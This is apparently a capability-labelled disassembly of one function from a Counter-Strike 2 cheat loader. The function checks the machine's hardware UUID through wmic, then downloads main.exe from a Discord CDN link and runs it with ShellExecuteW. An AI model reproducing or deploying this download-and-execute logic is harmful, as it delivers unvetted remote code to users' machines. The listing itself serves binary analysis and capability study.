Function at 0x1400087c0
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x170
mov rax, qword [0x14009f028]
xor rax, rsp
mov qword [rsp + 0x160], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
vpxor xmm0, xmm0, xmm0
xor eax, eax
vmovups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], rax
vmovups xmmword [rsp + 0xe0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0xf0], xmm1
lea r8d, [rax + 0x25]
lea rdx, str.D6454ACFA_7666_2511_A8E3_2CF05D94A640
lea rcx, [rsp + 0xe0]
call fcn.1400067a0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x100], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x110], xmm1
mov r8d, 0x25
lea rdx, str.DAD6245FA_A68A_3415_A38E_D8BBC1172A57
lea rcx, [rsp + 0x100]
call fcn.1400067a0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x120], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x130], xmm1
mov r8d, 0x25
lea rdx, str.DA4B2DE2B_9A5B_154F_AC2D_AC2B834309B7
lea rcx, [rsp + 0x120]
call fcn.1400067a0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x140], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x150], xmm1
mov r8d, 0x25
lea rdx, str.D67C11B3D_2CA0_0EAF_FBE1_5811222B4F44
lea rcx, [rsp + 0x140]
call fcn.1400067a0
nop
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xc8]
call fcn.140008e90
nop
lea r9, [fcn.1400055e0]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rsp + 0xe0]
call fcn.14007ec78
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xa8], xmm0
xor r15d, r15d
mov qword [rsp + 0xb8], r15
mov qword [rsp + 0xc0], 0xf
mov byte [rsp + 0xa8], r15b
lea rdx, [0x140088698]
lea rcx, str.wmic_csproduct_get_uuid
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
je 0x1400089d9
mov r8, rax
mov edx, 0x80
lea rcx, [rsp + 0xe0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400089d0
nop dword [rax]
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xa8]
call fcn.1400090b0
mov r8, rbx
mov edx, 0x80
lea rcx, [rsp + 0xe0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x1400089a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea r12, [rsp + 0xa8]
mov rcx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xc0]
cmp r8, 0x10
cmovae r12, rcx
mov rsi, qword [rsp + 0xb8]
add r12, rsi
lea r14, [rsp + 0xa8]
cmp r8, 0x10
cmovae r14, rcx
add r14, rsi
lea rbx, [rsp + 0xa8]
cmp r8, 0x10
cmovae rbx, rcx
cmp rbx, r14
je 0x140008ab0
movsx edi, byte [rbx]
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isxdigit]
test eax, eax
jne 0x140008a45
cmp dil, 0x2d
jne 0x140008a4d
inc rbx
cmp rbx, r14
jne 0x140008a30
mov r8, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xa8]
cmp rbx, r14
je 0x140008ab0
lea rdi, [rbx + 1]
cmp rdi, r14
je 0x140008ab0
movsx esi, byte [rdi]
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isxdigit]
test eax, eax
jne 0x140008a88
cmp sil, 0x2d
jne 0x140008a90
movzx eax, byte [rdi]
mov byte [rbx], al
inc rbx
inc rdi
cmp rdi, r14
jne 0x140008a73
mov r8, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xa8]
lea rax, [rsp + 0xa8]
cmp r8, 0x10
cmovae rax, rcx
mov rdx, rbx
sub rdx, rax
sub r12, rbx
mov rax, rsi
sub rax, rdx
cmp rax, r12
cmovb r12, rax
lea rax, [rsp + 0xa8]
cmp r8, 0x10
cmovae rax, rcx
lea rcx, [rax + rdx]
sub rsi, r12
mov r8, rsi
sub r8, rdx
inc r8
lea rdx, [rcx + r12]
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.C:Documentsmain.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1214643100564324352_1219022039046950912_main.exe_ex661c3ebeis6609c9behm9f445eea570e92b44d07d869beecb16406e8ff17a8056cc6026497b96006ab4d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor ecx, ecx
test eax, eax
js 0x140008b51
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.C:Documentsmain.exe
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x140008b6b
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, str.Build:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400092a0
mov r13, rax
mov rbx, qword [rsp + 0xc8]
mov rdi, qword [rsp + 0xd0]
cmp rbx, rdi
je 0x140008be8
mov r14, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xa8]
nop
lea rdx, [rsp + 0xa8]
cmp r14, 0x10
cmovae rdx, r12
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140008bd1
mov rcx, qword [rbx]
cmp r8, rsi
jne 0x140008bdf
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140008be8
add rbx, 0x20
cmp rbx, rdi
jne 0x140008bb0
lea rax, str.Admin
lea rdx, str.Beta
cmp rbx, rdi
cmovne rdx, rax
mov rcx, r13
call fcn.1400092a0
lea rdx, [0x140009470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Powered_by_pastegods_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400092a0
lea rdx, [0x140009470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
mov r8d, 7
lea rdx, str.cs2.exe
lea rcx, [rsp + 0x30]
call fcn.1400067a0
lea rdx, [rsp + 0x30]
call fcn.1400083e0
mov ebx, eax
test eax, eax
jne 0x140008d52
call fcn.1400099b0
test al, al
je 0x140008d52
call fcn.140008330
test al, al
je 0x140008d52
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x50], rax
lea rax, vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov qword [rsp + 0xe0], rax
lea rax, [0x1400769f0]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x98], rax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
lea r8d, [rbx + 7]
lea rdx, str.SDL_app
lea rcx, [rsp + 0x58]
call fcn.1400067a0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], r15
lea r8d, [rbx + 0x10]
lea rdx, [0x140088998]
lea rcx, [rsp + 0x78]
call fcn.1400067a0
nop
lea r9, [rsp + 0xe0]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.1400655c0
nop
jmp 0x140008dc8
lea rdx, str._ERROR_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400092a0
call fcn.1400099b0
test al, al
jne 0x140008d83
lea rdx, str.Failed_to_update_offsets.__Broski_cheat_outdated__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400092a0
jmp 0x140008db8
call fcn.140008330
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
jne 0x140008da1
lea rdx, str.Failed_to_call_Init.h__Cs2_not_running__
call fcn.1400092a0
jmp 0x140008db8
lea rdx, str.Failed_to_attach_process__StatusCode:
call fcn.1400092a0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140009470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0xc0]
cmp rdx, 0x10
jb 0x140008e1c
inc rdx
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007eb1c
mov qword [rsp + 0xb8], r15
mov qword [rsp + 0xc0], 0xf
mov byte [rsp + 0xa8], 0
lea rcx, [rsp + 0xc8]
call fcn.140009180
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14007e870
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret